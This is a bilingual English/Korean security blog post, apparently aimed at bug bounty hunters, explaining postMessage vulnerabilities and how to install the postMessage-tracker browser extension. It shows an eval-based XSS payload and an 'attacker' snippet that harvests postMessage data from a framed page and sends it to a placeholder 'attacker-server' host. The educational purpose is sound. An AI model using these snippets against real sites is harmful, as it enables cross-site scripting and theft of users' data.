Vulnerability of postMessage and postMesasge-tracker browser extension

by hahwul 3 min read

Hi hackers and bugbounty hunter!

Recently, @frans released a browser extension called postMessage-tracker and I found it. So today I’m wrting about the expansion and postMessage. frans announced the analysis of postMessage under the title Attacking Modern Web Technologies) in 2018 AppSec, and this extension release this month.

frans가 2018 AppSec 에서 Attacking modern web technologies 란 타이틀로 postMessage에 대한 분석에 대한 이야기를 발표했었는데요, 이 때 소개한 Browser Extension이 이번달 릴리즈되어 관련 내용 가볍게 공유할까 합니다.

What is postMessage

The window.postMessage() method safely enables cross-origin communication between Window objects; between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

MDN에서 postMessage를 보세요.

Analysis Vulnerability of postMessage

I wrote about the vulnerability of postMessage in 2016. Unfortunately, I only wrote in Korean at that time. It’s about XSS and Sensitive data leak, and if you’re curious, please use the translator!

관련해선 예전에 정리해둔글이 있으니 한번 참고해주세요.

  • https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

요약하면

  • XSS
  • Sensitive Data Leakage
  • Etc

XSS

It’s mainly shown in the AppSec video above, and as I mentioned in my previous article, XSS is the best and most influential. This code is probably weak. The code below is the code that passes the data received by b.data.evalCall to the factor value of the eval, where postMessage can be used to trigger XSS by passing the attack phrase like the second code on the page you call.

위에 AppSec 영상에서도 주로 나오고, 제가 예전 글에서도 언급했듯이 XSS가 가장 잘 나오고, 영향도도 높습니다. 대략 이런 코드가 취약하겠네요. 아래 코드는 b.data.evalCall으로 받은 데이터를 eval의 인자값으로 넘기는 코드인데, 이 때 postMessage를 사용한다면 호출하는 페이지에서 두번째 코드와 같이 공격구문을 전달하여 XSS를 트리거시킬 수 있습니다.

function (b){
   b.data.evalCall&&eval("("+b.data.evalCall+")")
}

b.postMessage({"evalCall":"alert(document.domain)"},"*")

This is possible if the postMessage call section is weak or the CORS setting on the receiving side is weak. As you can see from the MDN document, postMessage follows SOP.

postMessage를 호출하는 구간이 취약하거나 받아주는 쪽의 CORS 설정이 취약한 경우 가능한데요. MDN 문서를 보시면 아시겠지만 postMessage는 SOP를 따릅니다.

  • https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage

Below is a related case, so please refer to

아래는 관련 사례이니 참고해주세요.

https://hackerone.com/reports/398054 https://www.hahwul.com/2019/02/postmessage-xss-on-hackerone-by-adac95-review.html

Sensitive data leakage

With postMessage, you can also steal sensitive data. Like JSON Hijack or several data deodorization techniques, postMessage requires verification of the requested window (Parent) when sending data. If an attacker calls a vulnerable page into Child on their site and asks for the ability to collect information through postMessage, it’s easy to get your information.

취약 페이지가 중요정보를 postMessage를 통해 전송하고 SOP가 우회된 경우 공격자가 피해자 세션의 중요 데이터를 postMessage를 통해 받아올 수 있습니다.

vuln page

function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}

attacker

<img src="http://attacker-server/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

It’s usually caused by a chain attack when there’s a lack of verification of the parent page in a child page, or if there’s a vulnerability in it.

보통은 child page에서 parent 페이지에 대해 검증이 부족하거나 검증된 parent 페이지에 XSS등의 취약점이 있는 경우 연쇄작용으로 발생하겠네요.

How to use postMessage-tracker?

https://github.com/fransr/postMessage-tracker

Installation

1) Clone repo

git clone https://github.com/fransr/postMessage-tracker

2) Add extension to chrome

Chrome(firefox) => Setting => Extension => Load from file or dir

Although the description says it was made for Chrome, it is actually available on the cross platform because the Chromium engine-based browser as well as the firebox use the same JavaScript extension.

When you access the page where postMessage is inserted with the extension installed, the extension shows the relevant code. You can look at this, see if it leads to XSS or other vulnerabilities, and then switch to vulnerabilities.

이후 Chrome(firefox) => Setting => Extension => Load from file or dir 순서로 진입하셔서 확장 기능을 로드해주시면 됩니다. 브라우저별로 상이하니 이 부분은 사용하시는 브라우저에 따라서 찾아보시면 될 것 같습니다.

설명으론 크롬용으로 만들었다곤 하지만, 실제로 크로미움 엔진 기반 브라우저는 물론 firefox도 동일하게 자바스크립트 확장기능을 사용하기 때문에 크로스 플랫폼에서 사용이 가능합니다. 확장 기능이 설치된 상태에서 postMessage가 삽입된 페이지에 접근하게 되면 관련 코드를 확장기능에서 보여줍니다. 이걸보고, XSS나 다른 취약점으로 연결될지 분석하고 취약점으로 바꿔먹으면 됩니다.

Reference

  • https://github.com/fransr/postMessage-tracker
  • https://www.youtube.com/watch?v=oJCCOnF25JU
  • https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage
  • https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
  • https://www.hahwul.com/2019/02/postmessage-xss-on-hackerone-by-adac95-review.html